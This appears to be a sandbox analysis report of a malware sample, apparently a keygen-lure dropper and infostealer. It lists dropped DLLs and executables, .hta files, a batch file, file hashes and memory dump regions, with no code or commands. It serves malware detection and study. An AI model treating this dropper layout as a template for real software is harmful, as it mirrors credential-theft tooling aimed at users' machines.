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C:\ProgramData\mozglue.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\softokn3.dll

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C:\ProgramData\sqlite3.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\1A54.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\1A54.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\1A54.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\1A54.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\1A54.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\1A54.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\1A54.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\1A54.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\1A54.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Public\mwc.exe

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C:\Users\Public\mwc.exe

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C:\Users\Public\rdg.exe

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C:\Users\Public\rdg.exe

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C:\Users\Public\rdg.exe

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C:\Users\Public\zry.exe

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C:\Users\Public\zry.exe

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C:\Users\Public\zry.exe

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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memory/1116-0-0x0000000000000000-mapping.dmp

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memory/1432-21-0x0000000000000000-mapping.dmp

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memory/1720-3-0x0000000000000000-mapping.dmp

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memory/1720-2-0x0000000000000000-mapping.dmp

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memory/2064-7-0x0000000000000000-mapping.dmp

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memory/2180-9-0x0000000000000000-mapping.dmp

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memory/2360-15-0x0000000070420000-0x0000000070B0E000-memory.dmp

Filesize
6.9MB

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memory/2360-22-0x0000000007790000-0x0000000007791000-memory.dmp

Filesize
4KB

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memory/2360-13-0x0000000000000000-mapping.dmp

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memory/2392-12-0x0000000000000000-mapping.dmp

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memory/2392-34-0x0000000007CF0000-0x0000000007CF1000-memory.dmp

Filesize
4KB

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memory/2392-31-0x0000000007B20000-0x0000000007B21000-memory.dmp

Filesize
4KB

Download
memory/2392-50-0x0000000008520000-0x0000000008521000-memory.dmp

Filesize
4KB

Download
memory/2392-14-0x0000000070420000-0x0000000070B0E000-memory.dmp

Filesize
6.9MB

Download
memory/2392-66-0x0000000009A00000-0x0000000009A01000-memory.dmp

Filesize
4KB

Download
memory/2392-69-0x0000000009140000-0x0000000009141000-memory.dmp

Filesize
4KB

Download
memory/2392-49-0x0000000008040000-0x0000000008041000-memory.dmp

Filesize
4KB

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memory/2392-30-0x0000000007AB0000-0x0000000007AB1000-memory.dmp

Filesize
4KB

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memory/2392-27-0x00000000072B0000-0x00000000072B1000-memory.dmp

Filesize
4KB

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memory/2392-54-0x0000000008470000-0x0000000008471000-memory.dmp

Filesize
4KB

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memory/2392-18-0x0000000006CA0000-0x0000000006CA1000-memory.dmp

Filesize
4KB

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memory/2424-10-0x0000000000000000-mapping.dmp

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memory/2448-26-0x0000000000000000-mapping.dmp

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memory/3044-184-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/3044-180-0x0000000000417A8B-mapping.dmp

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memory/3172-17-0x0000000000000000-mapping.dmp

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memory/3436-162-0x0000000000000000-mapping.dmp

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memory/3736-98-0x000000000A5B0000-0x000000000A5B1000-memory.dmp

Filesize
4KB

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memory/3736-25-0x0000000000000000-mapping.dmp

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memory/3736-29-0x0000000070420000-0x0000000070B0E000-memory.dmp

Filesize
6.9MB

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memory/3736-94-0x0000000009730000-0x0000000009731000-memory.dmp

Filesize
4KB

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memory/3736-96-0x00000000083B0000-0x00000000083B1000-memory.dmp

Filesize
4KB

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memory/3848-32-0x0000000070420000-0x0000000070B0E000-memory.dmp

Filesize
6.9MB

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memory/3848-24-0x0000000000000000-mapping.dmp

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memory/4116-116-0x0000000000000000-mapping.dmp

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memory/4128-117-0x0000000000000000-mapping.dmp

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memory/4228-182-0x000000000041A684-mapping.dmp

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memory/4272-127-0x000000000043FCC3-mapping.dmp

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memory/4272-126-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/4272-129-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/4324-130-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/4324-131-0x000000000041A684-mapping.dmp

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memory/4324-136-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/4340-132-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4340-139-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4340-135-0x0000000000417A8B-mapping.dmp

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memory/4400-62-0x0000000000000000-mapping.dmp

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memory/4468-64-0x0000000070420000-0x0000000070B0E000-memory.dmp

Filesize
6.9MB

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memory/4468-63-0x0000000000000000-mapping.dmp

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memory/4572-73-0x0000000000000000-mapping.dmp

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memory/4664-77-0x0000000000000000-mapping.dmp

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memory/4664-82-0x0000000070420000-0x0000000070B0E000-memory.dmp

Filesize
6.9MB

Download
memory/4788-153-0x0000000000000000-mapping.dmp

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memory/4928-160-0x0000000000000000-mapping.dmp

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memory/4984-114-0x0000000000330000-0x0000000000331000-memory.dmp

Filesize
4KB

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memory/4984-109-0x0000000070420000-0x0000000070B0E000-memory.dmp

Filesize
6.9MB

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memory/4984-103-0x0000000000000000-mapping.dmp

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memory/4992-104-0x0000000000000000-mapping.dmp

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memory/5000-178-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/5000-176-0x000000000043FCC3-mapping.dmp

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